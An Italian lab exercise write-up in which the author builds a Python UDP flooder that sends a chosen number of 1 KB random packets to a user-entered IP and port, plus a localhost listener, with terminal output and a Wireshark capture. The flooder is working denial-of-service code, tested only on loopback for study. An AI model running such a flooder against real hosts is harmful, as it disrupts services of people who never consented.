

Traccia:

Scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target input;
- Il programma deve richiedere l'inserimento della porta target input;
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare input.

1. Per prima cosa ho creato un programma socket in Python che simuli un server UDP che rimane in ascolto in attesa del ricevimento dei pacchetti da 1 KB.

```
GNU nano 7.2 server_udp.py
import socket

def start_udp_server():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = ('localhost', 44444)
    server_socket.bind(server_address)
    print("Server UDP in ascolto su {}:{}".format(*server_address))
    while True:
        try:
            data, client_address = server_socket.recvfrom(1024)
            decoded_data = data.decode('utf-8')
            print("Ricevuto '{}' da {}".format(decoded_data, client_address))
        except UnicodeDecodeError:
            print("Errore di decodifica UTF-8. Dati in formato esadecimale: {}".format(data.hex()))
start_udp_server()
```

Ho dovuto creare un'eccezione che decodifichi il dato in esadecimale perchè ho riscontrato errori nella decodifica dei dati.

2. In seguito ho creato un programma che simuli l'invio massivo di pacchetti UDP da 1 KB con gli input richiesti dalla traccia:

```
GNU nano 7.2                                UDP_flood.py
import socket
import random

def invia_pacchetti(ip_target, porta_target, numero_pacchetti):
    try:
        # Creazione del socket
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        # Generazione di pacchetti da 1 KB con dati casuali
        pacchetto = bytearray(random.getrandbits(8) for _ in range(1024))

        # Invio dei pacchetti
        for _ in range(numero_pacchetti):
            s.sendto(pacchetto, (ip_target, porta_target))

        print(f'Pacchetti inviati con successo a {ip_target}:{porta_target}')

    except Exception as e:
        print(f'Errore durante l\'invio dei pacchetti: {e}')

if __name__ == "__main__":
    # Richiesta dell'IP target e della porta target
    ip_target = input("Inserisci l'IP target: ")
    porta_target = int(input("Inserisci la porta target: "))

    # Richiesta del numero di pacchetti da inviare
    numero_pacchetti = int(input("Inserisci il numero di pacchetti da 1 KB da inviare: "))

    # Invio dei pacchetti
    invia_pacchetti(ip_target, porta_target, numero_pacchetti)
```

3- Dopo aver creato le due istanza server e client le andiamo a mettere in comunicazione:

```
(kali@kali)-[~]
$ python server_udp.py
Server UDP in ascolto su localhost:44444
Errore di decodifica UTF-8. Dati in formato esadecimale: c874f9ff42fb4e44e5
737221a0ee2bfa894cd042f6f2aad17ff204e8b9db0b5daec3e0b5dda7fd01c1d7b92d942e1
1d2784e9462d9584f95e070c443c141993962cb3d54cf692f26d1a544d3cb7fb9be411c3e06
b36315e6f50a72d82958688957ef207ec6c8348b77aec7215f98ad00b5177c8716b423f7ec5
da1064a470002b851e9ebaf8ac8b2b88931e522ce15dcbba39ac4651a278d1141529fbd15e6
6af3c8bce8547327b17ba5d55391992437a52981ca547f6e648897ffd7a42e97bc6dba730
988882d66cf0e769410dd9e0dd923fa25aca69b258303ace267b7857afe19b881349586dfac
1d1e568c885fd38d299e7310344955cb88bf69c5056c853836b79926fda090e77ccf5567d2
aeb77e2a52e9b58643a799f36abc6280a95ac0208d4fe14636fab0df523bcba4a5182e93539
dad9f59fb438a0f20a581555d6574944a41a4a994403431e86fb4d5866660c365b187884add
1ab534427da991f4284f56c08e5142cc799b0b00257cc355f3ca13a28de591d079410173f6
b682e79c9de0eebaa22762006a68d56cd195f861ba99a95e0680a8a5705603428a62ce04f2
7125bdcd7d9c32ea3e99fec066ea1ba31c798c270b66e7f87d6f166b2508652353b8f77c7
35ae172ed4a6e5d2a63e210a1e8943c61d7b718f300a62e64c7ec177d5d816b5a087cc8fb7
fd3394a596736e4b451691ad8a361e980ecf9018ab9e1a05ae4d83a8f4f2c7a036fb075489b
18f8e84208431487458189b412ba84235a38dfac370092e5953cbfe8eb98c4de49da4d647
da006e1a64dd5e51c20b6d608322b98b44ab188771d9ff75cf501eb7e395c721e878eaff52e8
8c1de1eac3f00cc9824e211fe8ed1761c9ebc70734fdee1772d1836f040b5425f8043403a
784183009d68814863011c9382b267f287898ea004824ef7172c2977a231eb742b475dc10d
2a5c34742626b052aa9df673048c02b3d17e611338a9c8d816af9825e41a43c60e080bbfe2
6c8ce7c5b8333606144c5a892123241f3e2ed919845bccc2e372f25a21cdac36f7ac7d34613
89a81e8834cb3a61e4d949a097936da6310d732d081a2e94050b846fcd4f980fd4d17fdbc5
a9d393253b1604b31eb870b4f94b5b9904f8a95760a50b825125edecadc751d3ec5b3128a23
fa0cac59d9b537e0303883b9e2c49de996d94bbe60ca1b8328133997855982f1bb46cfaf3b
173cc4a86324510d8edbe52a5ab180e3d50675de1108bc0406ff1c47461d772e8fcd0eeff
1c7521cef9d204604513da4d1bf29be6cd93df654beeb4bb84619f5f60211eb6d5c3571ed
a08f432e8507c3623adc4c03dd061ce32191613d7efc9bce68f64250ca5a851521a3be5369
f0bf19e78518b50d89b04f2976bbff5e744126b9b609b5b004f157f89b443289ae9e87234f4
0cb80
Errore di decodifica UTF-8. Dati in formato esadecimale: c874f9ff42fb4e44e5
737221a0ee2bfa894cd042f6f2aad17ff204e8b9db0b5daec3e0b5dda7fd01c1d7b92d942e1
1d2784e9462d9584f95e070c443c141993962cb3d54cf692f26d1a544d3cb7fb9be411c3e06
b36315e6f50a72d82958688957ef207ec6c8348b77aec7215f98ad00b5177c8716b423f7ec5
da1064a470002b851e9ebaf8ac8b2b88931e522ce15dcbba39ac4651a278d1141529fbd15e6
6af3c8bce8547327b17ba5d55391992437a52981ca547f6e648897ffd7a42e97bc6dba730
988882d66cf0e769410dd9e0dd923fa25aca69b258303ace267b7857afe19b881349586dfac
1d1e568c885fd38d299e7310344955cb88bf69c5056c853836b79926fda090e77ccf5567d2
```

```
(kali@kali)-[~]
$ python UDP_flood.py
Inserisci l'IP target: localhost
Inserisci la porta target: 44444
Inserisci il numero di pacchetti da 1 KB da inviare: 20
Pacchetti inviati con successo a localhost:44444
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
1000 39445 -> 44444 Len=1024
```

4- Cattura dei pacchetti con Wireshark:

| No. | Time | Source | Destination | Protocol | Length | Info |
|-----|-------------|-----------|-------------|----------|--------|-------------------------|
| 1 | 0.000000000 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 2 | 0.001583706 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 3 | 0.003018036 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 4 | 0.003192655 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 5 | 0.003454419 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 6 | 0.003603085 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 7 | 0.003793599 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 8 | 0.004096527 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 9 | 0.004263591 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 10 | 0.004391134 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 11 | 0.004531417 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 12 | 0.004694427 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 13 | 0.004876536 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 14 | 0.005031879 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 15 | 0.005279673 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 16 | 0.005453250 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 17 | 0.005577312 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 18 | 0.005697944 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 19 | 0.005821119 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |
| 20 | 0.005943116 | 127.0.0.1 | 127.0.0.1 | UDP | 1066 | 39445 -> 44444 Len=1024 |

```
> Frame 1: 1066 bytes on wire (8528 bits), 1066 bytes captured (8528 bits) on interface lo, id 0020
> Ethernet II, Src: 00:00:00:00:00:00 (00:00:00:00:00:00), Dst: 00:00:00:00:00:00 (00:00:00:00:00:00)
> Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
> User Datagram Protocol, Src Port: 39445, Dst Port: 44444
> Data (1024 bytes)
0020 00 01 9a 15 ad 9c 04 08 02 1c 18 03 15 6d 00
0030 0e ad bb bb 4b 07 16 b8 65 20 35 9e 50 a0 5
0040 e3 e7 57 d9 ea 95 62 43 17 c2 b7 23 33 b1 2
0050 0b 22 b6 75 52 36 bc 82 aa 78 43 7c 8a 3e 0
0060 a8 c0 95 65 46 13 f5 4f e0 3a 62 f8 af 2e 1
0070 75 74 b5 9d 1d b9 f7 1d 27 e6 5a 71 bd 86 0
0080 9f 86 a7 d0 43 9d f9 70 5a 2b 3c 7d 6b 5d 8
0090 1f 31 b7 fb da 71 e5 05 e0 f2 9b ff c5 b2 a
00a0 21 26 b6 ad 05 f1 eb 5b 42 16 c2 66 75 4e
```

